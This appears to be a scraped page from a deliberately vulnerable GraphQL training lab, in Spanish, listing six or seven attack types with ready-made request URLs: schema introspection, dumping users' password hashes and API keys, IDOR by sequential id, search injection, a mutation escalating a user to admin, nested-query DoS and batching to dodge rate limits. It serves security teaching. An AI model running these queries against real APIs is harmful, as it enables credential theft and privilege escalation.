Seis vulnerabilidades comunes en APIs GraphQL: introspección habilitada, acceso sin autorización, IDOR, inyección en queries, escalada de privilegios y batching para evadir rate limiting
Lista de ataques disponibles y formato de las queries
/api/lab/graphql__schema expone todos los tipos, campos, mutations y argumentos. El atacante conoce toda la API
/api/lab/graphql?query=__schema{types{name,fields{name,type}}}users {} devuelve todos los usuarios incluyendo passwordHash y apiKey sin ningún control de acceso
/api/lab/graphql?query={users{id,username,email,role,passwordHash,apiKey}}user(id:'1') sin verificar si el solicitante tiene permisos — acceso directo al admin
/api/lab/graphql?query={user(id:"1"){username,email,role,apiKey}}Iterar ids secuenciales para extraer todos los usuarios de la API
/api/lab/graphql?query={user(id:"2"){username,email,apiKey}}searchUser(query: 'admin') sin escape — caracteres especiales pueden afectar la query interna
/api/lab/graphql?query={searchUser(query:"admin"){username,email,passwordHash}}updateUser(id:'2', role:'admin') sin verificar si el caller es admin — cualquiera puede escalar
/api/lab/graphql?query=mutation{updateUser(id:"2",role:"admin"){id,role}}Sin depth limiting el servidor procesa queries exponencialmente anidadas hasta agotar memoria
/api/lab/graphql?query={{{{{{{{{}}}}}}}}}Enviar array de mutations en una sola petición HTTP elude el rate limiting por endpoint
/api/lab/graphqlGraphQL expone un endpoint único con múltiples vectores: (1) Introspección habilitada en producción revela el schema completo; (2) Sin control de acceso por campo, passwordHash y apiKey son accesibles; (3) IDOR por id secuencial en user(id:); (4) Inyección en campos de búsqueda no sanitizados; (5) Mutations de escalada de privilegios sin verificación del caller; (6) Batching abuse para evadir rate limiting enviando N operaciones en un array JSON; (7) Nested query DoS sin depth limiting. OWASP A01/A03:2021 — CVSS 9.1.
Esta aplicación es vulnerable por diseño - Solo para propósitos educativos
© 2025 Aitana Security Lab